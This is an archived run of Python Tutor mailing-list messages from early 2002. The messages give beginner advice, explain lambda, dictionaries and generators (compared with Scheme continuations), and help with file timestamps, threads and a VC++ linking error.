From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 15:28:24 -0800 (PST)
Subject: [Tutor] Help Me!!
In-Reply-To: <F99m2QirYnUTBnxARhn00002919@hotmail.com>
Message-ID: <Pine.LNX.4.21.0202041517480.8220-100000@hkn.eecs.berkeley.edu>

On Mon, 4 Feb 2002, Robert Weeks wrote:

> I'm called Rob Weeks and i'm 32. I dont have a job but i want to get
> one as a game desinger. I dont know any thing about coding and i want
> to learn. I would go to uni but i can not aford it. If u could teach
> my to make small simple games or tell me were i could learn, i would
> be very pleased.


Hi Robert,

Sure, we'd be happy to point you toward some useful resources.  If you
haven't learned a programming language yet, you'll probably want to look
at the resources for new programmers first:

    http://python.org/doc/Newbies.html

There are tutorials there that will help you get familiar with the idea of
programming, and they're all pretty good.  Many authors of those tutorials
are frequent posters to Tutor as well, so you can easily ask them when the
tutorials get confusing.  *grin*


As you're experimenting with Python, you can take a look at some example
programs at the Useless Python website:

    http://www.lowerstandard.com/python/

to see how these programming ideas are applied in real programs!  The
programs at Useless Python have been contributed by people on Tutor, so
we're pretty familiar with them.

Sooner or later, when you learn enough Python, you can play around with
some game-specific Python modules, like pygame:

    http://pygame.org

which is an extension for Python that supports writing video games in
Python.


If you have any questions, please feel free to ask here on Tutor; we'll be
happy to chat about programming.



From overlord@netdoor.com  Mon Feb  4 23:41:37 2002
From: overlord@netdoor.com (Jim Ragsdale)
Date: Mon, 4 Feb 2002 17:41:37 -0600
Subject: [Tutor] reading file creation date and xreadlines from a point in the middle of a file
Message-ID: <013d01c1add5$7cf0ce00$8cd91282@echo6>

I have looked around and have not found a way (that I could understand) to
read the creation date of a file. Does anyone know how to do it? Not
necessary but cross platform would be nice. win32 is the target.

Another question: I am using xreadlines. How do I start reading at a
specified line in a file?

Thanks for the help!
Jim Ragsdale



From lha2@columbia.edu  Tue Feb  5 00:05:10 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Mon, 04 Feb 2002 19:05:10 -0500
Subject: [Tutor] How do I get Python on Mac?
References: <CBFBKLGGHECFOAAA@mailcity.com>
Message-ID: <3C5F21B6.9761372E@mail.verizon.net>

James M Lang wrote:
> 
> I've got an old Mac that I want to use. The problem is that it doesn't have internet access. MacPython is too big to be put on floppy disk so how can I split it up, put it on disks, and reassemble them on the Mac? And another thing, what is this "hacking" I keep hearing about?
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

Back before I turned to the dark side (November 1997), I was a Mac
person; at that time, Alladin's Stuffit was the most common solution to
that problem. If you have an old mac running an old system, you might
try searching for "stuffit 1.5.1"; I'm not 100% on what sort of license
old stuffits have/had (I seem to recall them being shareware, but
wouldn't bet money on that). Also, I'm not sure what version of Python
you will be able to use--how old is an "old mac"? Is it a 68000 (ie, are
you probably s.o.l.?)? 68040? PPC?

Back in the day, when we needed to get something from one mac to
another, we'd hook up a printer cable between the two and enable file
sharing on one of them. What sort of machine do you have that has
internet access?

One of these days I'll get around to getting that Mac+ (maxed out at 4
megs) up and running again...I think I still have a copy of NCSA Mosaic
somewhere...


From lha2@columbia.edu  Tue Feb  5 00:29:33 2002
From: lha2@columbia.edu (Lloyd Hugh Allen)
Date: Mon, 04 Feb 2002 19:29:33 -0500
Subject: [Tutor] NEWBIE looking for help
References: <200202041440.AA18350682@centralcatholic.org>
Message-ID: <3C5F276D.57ACFF32@mail.verizon.net>

Robert Garber wrote:
> 
> I am very new to programing and am hoping that Python is the place to start. My question is this: I am a football coach who is very unhappy with some of the software available to use in scouting and keeping stats. I am certian a program of this nature will need to be set up as some type of database that is searchable ( by formation, field position, player number/position, down and distance, etc...) is Python the language to start with? I have purchased the Sams "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to program book". I have also downloaded every tutorial I can find on python. I am enjoying the learning experince and hope that Python is the language to open a whole new world for me.
> Thans for any help,
> Robert
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor

Python will be an excellent language for that project. I did something
like that back in high school (no longer have the code, I don't think)*
in Pascal; when I did that, the sorting routines (which were the core of
generating the scouting reports--I recall it being used 60% for
predicting play based on formation, and about 30% being whether the ball
was going to go to the strong or weak side based on formation) took up a
good 1/3 of the program. In Python, if you want to sort a list, you use
a command along the lines of 

mylist.sort()

. Much less code to wade through. Good luck.

*Just found the 800k disk that has the Pascal source code (I think--I
hope it doesn't just have the compiled application). Now to find
computer with a drive that can still read 800k disks...


From dyoo@hkn.eecs.berkeley.edu  Tue Feb  5 02:24:22 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 18:24:22 -0800 (PST)
Subject: [Tutor] Instantiating large numbers of objects?      [lists and
 dictionaries]
In-Reply-To: <001701c1ad3f$aa736a40$3100a8c0@sun>
Message-ID: <Pine.LNX.4.21.0202041009130.11942-100000@hkn.eecs.berkeley.edu>

> > > list container.  In that case, we can use a more appropriate data
> > > structure, the dictionary:
> > >
> > > ###
> > > >>> people_dict = {}
> > > >>> for n in names:
> > > ...     people_dict[n] = Person(n)
> > > ...
> > > >>> people_dict['lisa'].sing()
> > > tra la la, my name is lisa
> > > ###
> >
> >  Again, the syntax is a little different than what I'm used to. I've
> > always never seen a dictionary done like this. Is it a case where the
> > syntax is different since its being added to a list?
> 
> How have you seen dictionaries used? Like following?
> some_dictionary={"predefined_1":"ning","predefined_2":"nang","predefined_3":
> "nong"}


Let's talk a little bit more about why the code above is using a for loop
to construct the dictionary.  Let's look at that fragment again:

###
people_dict = {}
for n in names:
    people_dict[n] = Person(n)
###

What this is saying is "We'll make a variable called 'people_dict' that is
initially assigned to an empty dictionary.  Next, we'll go through each
name in our names list, and add an entry to that dictionary'.


There's a reason why we can't simply initialize people_dict directly:

###
people_dict = { 'marge' : Person('marge'),
                'lisa' : Person('lisa'),
                'bart' : Person('bart'),
                'homer' : Person('homer'),
              }
###

... but we might not know in advance which people we want to create!  



It's true that the source of names can be hardcoded, like this:

###
names = ['marge', 'homer', 'bart', 'lisa']
###



But perhaps we might read it from a flat file,

###

#  We can do something like this in one script:
f = open("simpson_names.txt", "w")
while 1:
    print "Enter the names of simpson family character.  Just press"
    print "the ENTER key to finish."
    name = raw_input()
    f.write(name)
    f.write("\n")
    if name == "\n": break


#  ... and bring the Simpsons to life in another
#  program:
names = map(string.strip, open("simpson_names.txt").read().split())

###



or even from a database!

###
conn = MySQLdb.connect(db='tv_families')
cursor = conn.cursor()
cursor.execute("select name from people where family='simpsons'")
names = map(lambda x: x[0], cursor.fetchall())
###

(I'm just making this example up, but if we did have a tv_families
database, this should work... *grin*)



In any case, we're not anticipating what 'names' looks like, which is why
we do the insertions on an initially empty dictionary.  By doing so, we're
girding ourselves to populate our world with as many Simpsons as we
desire.  Now that's a whimsical thought.  *grin*



If you have questions on this, please feel free to ask.



From dyoo@hkn.eecs.berkeley.edu  Tue Feb  5 02:37:23 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 18:37:23 -0800 (PST)
Subject: [Tutor] reading file creation date and xreadlines from a point
 in the middle of a file
In-Reply-To: <013d01c1add5$7cf0ce00$8cd91282@echo6>
Message-ID: <Pine.LNX.4.21.0202041824470.12815-100000@hkn.eecs.berkeley.edu>

On Mon, 4 Feb 2002, Jim Ragsdale wrote:

> I have looked around and have not found a way (that I could
> understand) to read the creation date of a file. Does anyone know how
> to do it? Not necessary but cross platform would be nice. win32 is the
> target.


There are actually two functions in os.path called getatime() and
getmtime, respectively for "access" and "modification" times:

    http://www.python.org/doc/lib/module-os.path.html

os.path.getmtime() is probably what you're looking for:

###
>>> os.path.getmtime('/var/mail/dyoo')      
1012873750
>>> from time import localtime
>>> localtime(os.path.getmtime('/var/mail/dyoo'))
(2002, 2, 4, 17, 49, 10, 0, 35, 0)
###


I'm not sure if the system maintains a "creation" time flag, as it's sorta
arguable that modification is similar to creation.  Perhaps someone else
may be able to find out about this?



> Another question: I am using xreadlines. How do I start reading at a
> specified line in a file?

xreadlines() might not be an appropriate function because it assumes you
want to read through the file sequentially, one line at a time.  If we
suck up the whole file as a list of lines by using readlines(), we can
grab any line by doing an array index, so readlines() is probably a better
choice.


I've written a quicky RandomFile class that I think might be more
memory-efficient if you're concerned about memory usage:

    http://aspn.activestate.com/ASPN/Mail/Message/989629


Good luck to you!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb  5 03:03:16 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 19:03:16 -0800 (PST)
Subject: [Tutor] NEWBIE looking for help
In-Reply-To: <200202041440.AA18350682@centralcatholic.org>
Message-ID: <Pine.LNX.4.21.0202041841550.12815-100000@hkn.eecs.berkeley.edu>

On Mon, 4 Feb 2002, Robert Garber wrote:

> I am very new to programing and am hoping that Python is the place to
> start. My question is this: I am a football coach who is very unhappy
> with some of the software available to use in scouting and keeping
> stats. I am certian a program of this nature will need to be set up as
> some type of database that is searchable ( by formation, field
> position, player number/position, down and distance, etc...)

Hi Robert,

You might be able to do a lot with Python combined with a SQL relational
database.  It might be good to invest some time looking at SQL.  Here are
some links that may help explain what SQL is about:

    http://www.arsdigita.com/books/sql/
    http://www.devshed.com/Server_Side/MySQL/Intro/page1.html
    http://mysql.com/

A relational database is a fairly flexible medium for saving and querying
data.  You can learn it independently of Python, and it's not too hard to
coax a relational database to do basic bread-and-butter stuff.



> is Python the language to start with? I have purchased the Sams
> "TEaching yourself Python in 24 hours" as Alan Gaulds "Learnign to
> program book". I have also downloaded every tutorial I can find on
> python. I am enjoying the learning experince and hope that Python is
> the language to open a whole new world for me. Thans for any help,

Cool!  Glad to hear you're enjoying things.

It must be said that this is "Python-Tutor" --- you may not get an
unbiased answer here.  *grin* Yes, I think it's a good language to learn
and use.  It has a fairly nice syntax that tries not to get in the way of
learning.  It's nice because you can do a lot of casual programming with
it, yet it's powerful enough to handle things like web serving and
scientific applications.

Most importantly, it has a great community behind it!  *grin* There's more
cheerleader-style advocacy here:

    http://www.linuxjournal.com/article.php?sid=3882

Try Python out; it's free, and you can always ask questions here.  We'll
do our best to answer your questions well.  Ah, by the way, here's a link
that has another good source of tutorials:

    http://python.org/doc/Newbies.html



For the sake of completeness, I should mention: there's another powerful
programming language called Perl, and it too has a strong user community
behind it.  If you're interested, take a look at:

    http://learn.perl.org/

for more information.  I wouldn't say that Perl is for beginners --- Perl
code can have a really cryptic syntax, and I think it forces the user to
carry too much mental baggage.  Still, it's a very popular alternative,
and it's good to know what choices you have.


Good luck to you!



From erikprice@mac.com  Tue Feb  5 03:15:41 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 4 Feb 2002 22:15:41 -0500
Subject: [Tutor] Newbie
In-Reply-To: <000001c1ac7f$08380e40$5b582144@aberdn01.md.comcast.net>
Message-ID: <A29C007C-19E6-11D6-9A27-00039351FE6A@mac.com>

On Sunday, February 3, 2002, at 01:50  AM, Randy Talbot wrote:

> And the
> book that I like the best for learning python so far is "The Quick
> Python Book" by Daryl Harms, even though it is written for people who
> have experience programming in another language.

I think this book is pretty amazing.  Here's why:  There are lots of 
great tutorials for Python and general programming on the internet, I've 
found, two of them being

http://www.freenetpages.co.uk/hp/alan.gauld/
and
http://www.devshed.com/Server_Side/Python/Python101/Python101_1/page1.html

Once you've gone through one of these, you should know enough to get the 
most out of the Quick Python book.  And the QP book is impressive for 
having been written as a "readable" reference book, so that you can read 
it and get a lot out of it and then you can use it to refer back later 
when you need a clarification.

We all know computer books cost between $30 and $50 (in the US).  This 
is big bucks for some of us.  The Quick Python Book, at $40, is a great 
book in my opinion in how much mileage you can get out of it.

And I'm still just learning too!


Erik



From greg.guest@3web.net  Tue Feb  5 02:28:42 2002
From: greg.guest@3web.net (Greg Guest)
Date: Mon, 4 Feb 2002 21:28:42 -0500
Subject: [Tutor] Lambda
Message-ID: <00a901c1adf4$e8b53620$2bb4acce@hppav>

This is a multi-part message in MIME format.

------=_NextPart_000_0040_01C1ADC2.EB696C60
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi everyone,

Emboldened by Jeff Shannon's remark of a couple of weeks ago that he =
finds lambdas counterintuitive, I ask my first question to the tutor.

I not only find them counterintuitive, but can't even figure out what =
they do in a line of code.  I would be grateful if someone could =
translate a line using lambda into one that doesn't. =20

I've been reading the tutor for a couple of months now, and find it a =
wonderful place.  The threads on Classes have helped me a lot.

TIA
Greg Guest

A Palindrome:
Straw? No, too stupid a fad.  I put soot on warts.




__________________________________________________________
Get Premium UNLIMITED Internet Access across CANADA for 
JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123
------=_NextPart_000_0040_01C1ADC2.EB696C60
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4207.2601" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi everyone,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Emboldened by Jeff Shannon's remark of =
a couple of=20
weeks ago that he finds lambdas counterintuitive, I ask my first =
question to the=20
tutor.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I not only find them counterintuitive, =
but can't=20
even figure out what they do in a line of code.&nbsp; I would be =
grateful if=20
someone could translate a line using lambda into one that doesn't.&nbsp; =

</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I've been reading the tutor for a =
couple of months=20
now, and find it a wonderful place.&nbsp; The threads on Classes have =
helped me=20
a lot.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>TIA</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Greg Guest</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>A Palindrome:</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Straw? No, too stupid a fad.&nbsp; I =
put soot on=20
warts.</FONT></DIV><br>
<br>
<br>
____________________________________________________________<br>
Get Premium UNLIMITED Internet Access across Canada for<br>
JUST $9.95/MONTH at <a href=3D"http://www.get3web.com/?mkid=3Demt123" target=3D"_top">http://www.get3web.com/?mkid=3Demt123</a><br>
</BODY></HTML>

------=_NextPart_000_0040_01C1ADC2.EB696C60--



From dyoo@hkn.eecs.berkeley.edu  Tue Feb  5 05:36:49 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 21:36:49 -0800 (PST)
Subject: [Tutor] Experiments with generators, part deux   [flattened lists, Scheme,
 and Python]
Message-ID: <Pine.LNX.4.21.0202042039150.16338-100000@hkn.eecs.berkeley.edu>

[Warning: the following is experimental code that only works with Python
2.2.  This code below is meant to be completely Useless.  However, it's
also not guaranteed to be quickly understandable.  Skip this message if
you don't know about Scheme.]










Hi Everyone,

I've been having some fun recently trying to bend my head around the
concept of continuations in Scheme, using the Scheme book "Teach Yourself
Scheme in Fixnum Days":

http://www.ccs.neu.edu/home/dorai/t-y-scheme/t-y-scheme-Z-H-15.html#%25_sec_13.3

One of the examples that the author uses to present continuations is the
following problem: given two deeply nested lists, can we write an
efficient method to easily see if they have the same elements --- that is,
how can we tell if the two lists have the same "fringe"?  For example,
we'd say that "[1, [2, [3]]]" and "[[[1]], [[2], 3]]" would have the same
fringe, but "[1, [2, [3]]]" and "[[[1]], [[], 3]]" would not.

One simple way to do this fringe-check is to flatten both lists, and then
just do a single list comparison:

###
>>> def flatten(L):
...     if type(L) != types.ListType: return [L]
...     if len(L) == 0: return []
...     return flatten(L[0]) + flatten(L[1:])
... 
>>> flatten([1, [2, [3]]])
[1, 2, 3]
>>> flatten([1, [2, [3]]]) == flatten([[[1]], [[2], 3]])
1
>>> flatten([1, [2, [3]]]) == flatten([[[1]], [[], 3]])
0
###

However, one disadvantage of this is that we end up making duplicate
copies of our lists in memory.  For huge lists, flatten()ing can be
prohibitively expensive.  What can we do?


One solution that avoids the explicit list flattening is to write a
"generator" that automagically presents a flattened view of a list.  For
those who like sticking their hands in door jams, here's the code in
Scheme:

;;;
(define tree->generator
  (lambda (tree)
    (let ((caller '*))
      (letrec
	  ((generate-leaves
	    (lambda ()
              (let loop ((tree tree))
                (cond ((null? tree) 'skip)
                      ((pair? tree)
                       (loop (car tree))
                       (loop (cdr tree)))
                      (else
		       (call/cc
			(lambda (rest-of-tree)
                          (set! generate-leaves
				(lambda ()
				  (rest-of-tree 'resume)))
                          (caller tree))))))
              (caller '()))))
        (lambda ()
          (call/cc
	   (lambda (k)
             (set! caller k)
             (generate-leaves))))))))
;;;


There's a lot of tricky lexical scoping issues involved here, and I
thought this just looked both paradoxically beautiful yet hideous.  (I did
rewrite tree->generator to tease out some of the complexity into separate
functions, with some success.  If anyone's interested, email me.)



In any case, let's see how this works:

###
> (define g (tree->generator '((1) 2 (3 (4 ((5)))))))
> (g)
1
> (g)
2
> (g)
3
> (g)
4
> (g)
5
> (g)
()
###

So even if the code is complicated, it's still pretty useful!  It allows
us to look at any nested list as if it were flattened, so that we can
write a fringe function almost casually.



For fun, I wrote an equivalent generator in Python:

###
from __future__ import generators

def tree_generator(tree):
    if tree == []:
        raise StopIteration
    if isinstance(tree, list):
        for branch in tree:
            for element in tree_generator(branch):
                yield element
    else:
        yield(tree)
###

I don't think this is so bad, but I admit it's still a little tricky.  
But it works!  Here's the generator in action:

###
>>> g = tree_generator([[1], 2, [3, [4, [[5]]]]])
>>> g.next()
1
>>> g.next()
2
>>> g.next()
3
>>> g.next()
4
>>> g.next()
5
>>> g.next()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
StopIteration
###


Generators are a lot of fun to play with, and they do appear to allow us
to do things that would be difficult to do otherwise.  At the same time,
I'm also somewhat relieved that we don't have continuations in Python, as
these things are just evil!  *grin*


Anyway, I hope this was interesting!



From dyoo@hkn.eecs.berkeley.edu  Tue Feb  5 05:37:53 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 4 Feb 2002 21:37:53 -0800 (PST)
Subject: [Tutor] Linking against python21_d.lib instead of python21.lib
In-Reply-To: <3C5E4BA4.9050800@gmx.de>
Message-ID: <Pine.LNX.4.21.0202041031510.11942-100000@hkn.eecs.berkeley.edu>

On Mon, 4 Feb 2002, Keule wrote:

> Hi !
>=20
> i get the following error from VC++ :
>=20
> Linker-Vorgang l=E4uft...
> LINK : fatal error LNK1104: Datei "python21_d.lib" kann nicht geoeffnet=
=20
> werden
> Fehler beim Ausf=FChren von link.exe.
>=20
> examplec.dll - 1 Fehler, 0 Warnung(en)
>=20
> so it seems, that VC++ tries to link the python21_d.lib file instead
> of the python21.lib file. i thought, that i already deactivated all
> debug informations in the compiler. Have anyone got an idea, where i
> can find these option ?

Here's a message that explains the situation:

    http://aspn.activestate.com/ASPN/Mail/Message/python-list/779867

One of your debugging flags in VC++ is still set from Debug to Release.


Hope this helps!



From wheelege@hotmail.com  Tue Feb  5 06:12:27 2002
From: wheelege@hotmail.com (Glen Wheeler)
Date: Tue, 5 Feb 2002 17:12:27 +1100
Subject: [Tutor] Lambda
References: <00a901c1adf4$e8b53620$2bb4acce@hppav>
Message-ID: <DAV48U9T3TGJ2TUSzbA00000063@hotmail.com>

  Hi Greg,

  Sure thing.  I myself really like lambdas...here is not one line, but I
hope it helps shed some light -

>>> def multiply(a,b):
...  return a*b
...
>>> for i in range(5):
...  print multiply(i,2)
...
0
2
4
6
8

  That should be easy to understand, although you may think it a little
weird that I wrote multiply(i,2) instead of i*2.  But what this does is
applies the function multiply (with the second parameter as 2) over the
sequence range(5) - obviously doubling every number in the sequence.  Here
is the same thing but with a lambda -

>>> for i in range(5):
...  print (lambda x,y:x*y)(i,2)
...
0
2
4
6
8

  The whole function object is contained in (lambda x,y:x*y).  This is
horribly inefficient, but still it's a learning exercise.  Here is something
similar using a very cool function called map -

>>> map(lambda x:x*2, range(5))
[0, 2, 4, 6, 8]

  Try typing that into the interactive interpreter.  What that line says is
'apply the function 'lambda x:x*2' to the sequence 'range(5)'.  All that
means is double each element.  Donb't worry if you don't get the map - that
was just a little extra bit :)

  Good luck!
  Glen


----- Original Message -----
From: "Greg Guest" <greg.guest@3web.net>
To: <tutor@python.org>
Sent: Tuesday, February 05, 2002 1:28 PM
Subject: [Tutor] Lambda


Hi everyone,

Emboldened by Jeff Shannon's remark of a couple of weeks ago that he finds
lambdas counterintuitive, I ask my first question to the tutor.

I not only find them counterintuitive, but can't even figure out what they
do in a line of code.  I would be grateful if someone could translate a line
using lambda into one that doesn't.

I've been reading the tutor for a couple of months now, and find it a
wonderful place.  The threads on Classes have helped me a lot.

TIA
Greg Guest

A Palindrome:
Straw? No, too stupid a fad.  I put soot on warts.




__________________________________________________________
Get Premium UNLIMITED Internet Access across CANADA for
JUST $9.95/MONTH at http://www.get3web.com/?mkid=t123


From toodles@yifan.net  Tue Feb  5 06:43:53 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 5 Feb 2002 14:43:53 +0800
Subject: [Tutor] Lambda
References: <00a901c1adf4$e8b53620$2bb4acce@hppav>
Message-ID: <003601c1ae10$7b9ab210$3100a8c0@sun>

> I not only find them counterintuitive, but can't even figure out what they
do in a line of code.  I would be grateful if someone could translate a line
using lambda    > into one that doesn't.

Really all lambda does is create an unnamed function. So now you can define
a function using "def" or by using lambda.
Say you want a simple function:

def add(x,y):
    return x+y

This can be done using a lambda as follows:

lambda x,y: x+y

Now we have a basic function object that can be assigned to a name.
The lambda syntax is "lambda arg1,arg2,...argn: expression", expression will
be evaluated and returned from the function.
So just to go over the example again, we now can do:

add = lambda x,y: x+y

add =
lambda x,y:                                      x+y
^^
^^                                       ^^
variable name which will
arguments to pass in             the expression to be evaluated and returned
now refer to the function

I hope this clears up lambdas for you, if even only a little bit.
Andy

----- Original Message -----
From: Greg Guest
To: tutor@python.org
Sent: Tuesday, February 05, 2002 10:28 AM
Subject: [Tutor] Lambda


Hi everyone,

Emboldened by Jeff Shannon's remark of a couple of weeks ago that he finds
lambdas counterintuitive, I ask my first question to the tutor.

I not only find them counterintuitive, but can't even figure out what they
do in a line of code.  I would be grateful if someone could translate a line
using lambda into one that doesn't.

I've been reading the tutor for a couple of months now, and find it a
wonderful place.  The threads on Classes have helped me a lot.

TIA
Greg Guest

A Palindrome:
Straw? No, too stupid a fad.  I put soot on warts.



____________________________________________________________
Get Premium UNLIMITED Internet Access across Canada for
JUST $9.95/MONTH at http://www.get3web.com/?mkid=emt123



From toodles@yifan.net  Tue Feb  5 06:50:01 2002
From: toodles@yifan.net (Andy W)
Date: Tue, 5 Feb 2002 14:50:01 +0800
Subject: [Tutor] Lambda
References: <00a901c1adf4$e8b53620$2bb4acce@hppav> <003601c1ae10$7b9ab210$3100a8c0@sun>
Message-ID: <004201c1ae11$56c98910$3100a8c0@sun>

> add =
> lambda x,y:                                      x+y
> ^^
> ^^                                       ^^
> variable name which will
> arguments to pass in             the expression to be evaluated and
returned
> now refer to the function

Ew, it got all squashed.

> add = lambda x,y: x+y

add =
^^ variable name which will  now refer to the function

lambda
^^ keyword...

x,y:
^^ arguments to be passed in

x+y
^^ expression to be evaluated and returned



From lonetwin@yahoo.com  Tue Feb  5 07:07:41 2002
From: lonetwin@yahoo.com (lonetwin)
Date: Tue, 5 Feb 2002 12:37:41 +0530
Subject: [Tutor] [Q] about threads ...waiting :(
In-Reply-To: <20020204190714.B16951@tor.dhs.org>
References: <Pine.LNX.4.30.0202021620350.5859-100000@mercury.worli> <02020411080702.06205@mercury.worli> <20020204190714.B16951@tor.dhs.org>
Message-ID: <02020512374101.01506@mercury.worli>

Hi Jeff, Blake,

   Thanx for replying,

On Tuesday 05 February 2002 05:37, Blake Winton wrote:
> * lonetwin <lonetwin@yahoo.com> [020204 00:42]:
> > >    I tried placing try-except blocks at different places, but all I got
> > > done was exit the thread and print the message, somehow the other
> > > threads were quite comfortable with the fact that one of them is dead,
> > > they just go about their own business as though nothing has happened
> > > ...
>
> Having thought about this a little bit, I can tell you what I do in
> Java.  Have a "ThreadMonitor" class, that gets passed in to each of your
> TestApp classes.  Then, when you get the KeyboardInterrupt exception,
> set a boolean flag in the ThreadMonitor (something like
> "everybodyExitNow"), and in your TestApp class, at various points, check
> the value of the "everybodyExitNow" flag, and if it gets set to true,
> exit the function.  It's not the cleanest way to do things, but it seems
> to get the job done, and it lets the various threads clean up after
> themselves, which is nice.

  Right-O, in fact that's kinda what Kartik suggested. However instead of a 
ThreadMonitor class, he initialized a flag within the __init__ for each 
thread, which gets checked every once in a while, when a KeyboardInterrupt is 
raised, a handler sets the flag for all the threads. It's so simple I feel 
dumb I didn't think about it myself (I said that once already (last post), 
saying it again just makes me feel dumber !!! :) )

   Also, Jeff, thanx for the tip of using a threading.event object, It's like 
doing the same thing, using a feature that's built-in. I guess that's the way 
I'll go.


> By and large, it's a good thing for each thread to now care that another
> thread dies.  No, really...  ;)
    Yeah, was aware of that, only it seemed like ..ehe ...not a nice thing :)

Thanx A bunch, all u guys

Peace
Steve

-- 
"Out of register space (ugh)"
-- vi


From shalehperry@attbi.com  Tue Feb  5 07:04:34 2002
From: shalehperry@attbi.com (Sean 'Shaleh' Perry)
Date: Mon, 04 Feb 2002 23:04:34 -0800 (PST)
Subject: [Tutor] Lambda
In-Reply-To: <00a901c1adf4$e8b53620$2bb4acce@hppav>
Message-ID: <XFMail.20020204230434.shalehperry@attbi.com>

> 
> I not only find them counterintuitive, but can't even figure out what they do
> in a line of code.  I would be grateful if someone could translate a line
> using lambda into one that doesn't.  
> 

Let's use an easy example.

>>> f = lambda x,y: max(x,y)
>>> f(2,4)
4

lambda simply declares a function, like def does.  The difference being that
lambdas may only contain expressions, so 'print' is not allowed.

The above code assigns the function that lambda creates to f and we then use f
to call the function.

lambdas are really useful for callbacks in GUI programming.  Often in C++ I
find myself defining a function just so it can be called by an event.  As other
posters will no doubt show, they are also handy for map, filter, reduce and
friends.

>>> l = [1,2,3,4,5,6,7,8]
>>> reduce(f, l) 
8

Uses the lambda I created above.  reduce() passes the first two elements of the
list to the function, keeps the return value and passes in the next element of
the list.  Often you see people sum lists with it.  This is another interesting
use.

def reduce(func, container):
    holder = container[0]
    for i in container[1:]:
        holder = func(holder, i)
    return holder

is a possible implementation of the reduce() function from python.  That 'func'
operator would have to be delcared elsewhere, maybe only to be used one time.


From idiot1@netzero.net  Tue Feb  5 07:09:48 2002
From: idiot1@netzero.net (kirk Bailey)
Date: Tue, 05 Feb 2002 02:09:48 -0500
Subject: [Tutor] Website update
Message-ID: <3C5F853C.B841E49D@netzero.net>

Updated. Added images. Changed layout and text somewhat. 1.1.3 is
being tested now, added in program feature to place a 1 line footer:
 'powered by TinyList! http://www.tinylist.org/'
which is causing me to wonder if it should be optional, switched
on/off by a file or somethign... nahhhh.... well?....

Anyone looking at this thing and got somewhat to suggest on it, write
me.

mailto:idiot1@netzero.net

-- 
 

 -Respectfully,
              -Kirk D Bailey 
               Consulting Loose Cannon

end



  www.howlermonkey.net                 highprimate@howlermonkey.net
  www.sacredelectron.org                         idiot1@netzero.net
  www.tinylist.org                              grumpy@tinylist.org
----------------------------------------------------
Sign Up for NetZero Platinum Today
Only $9.95 per month!
http://my.netzero.net/s/signup?r=platinum&refcd=PT97


From urnerk@qwest.net  Tue Feb  5 07:14:25 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Mon, 04 Feb 2002 23:14:25 -0800
Subject: [Tutor] Lambda
In-Reply-To: <00a901c1adf4$e8b53620$2bb4acce@hppav>
Message-ID: <4.2.0.58.20020204225656.00c89400@pop3.norton.antivirus>

Ditto the previous examples.

Plus:  here's without lambda -- yer basic function:

   >>> def concat(a,b):  return a + b

   >>> concat('A','C')
   'AC'

And here's with, though in a way you wouldn't normally
see it:

   >>> concat = lambda a,b: a+b
   >>> concat('A','C')
   'AC'

This just shows that lambda is setting up the basic
elements of a function:  parameters, what to do with
them.  It can't be very fancy because Python's lambdas
can't go on for lotsa lines -- just a way to do quicky
stuff.

So why use 'em?  Well, if you want to do some quickie
thing, it can seem a waste to go to all the trouble
to define a function, give it a name, the whole nine
yards.  All you really want is to do the thing, then
throw it away.  No need to memorialize the thing with
a name.  To borrow a slogan, a lambda means "Just Do It".

So the typical thing is to use it wherever you could
use a function.  Take the original concat:

   def concat(a,b):  return a + b

Now I distribute it over some parameters.  concat wants
two parameters, and what map(function,list1,list2) will
do is grab one parameter from each of the following lists
-- so they'd better have the same number of elements:

   >>> map(concat,['c','b','f'],['at']*3)
   ['cat', 'bat', 'fat']

But if I didn't want to bother with naming concat ahead
of time, I could do all of the above using a lambda,
making the function part of map(function,list1,list2)
contain an "anonymous function":

   >>> map(lambda a,b: a+b, ['c','b','f'],['at']*3)
   ['cat', 'bat', 'fat']

A variation on the theme:

   >>> apply(lambda a,b: a+b, ('c','at'))
   'cat'

And now, for something completely silly:

 >>> map(lambda z: apply(lambda a,b: a+b, z),zip(['f','c'],['at','at']))
['fat', 'cat']


Kirby



From csmith@blakeschool.org  Tue Feb  5 07:35:06 2002
From: csmith@blakeschool.org (Christopher Smith)
Date: Tue, 05 Feb 2002 01:35:06 -0600
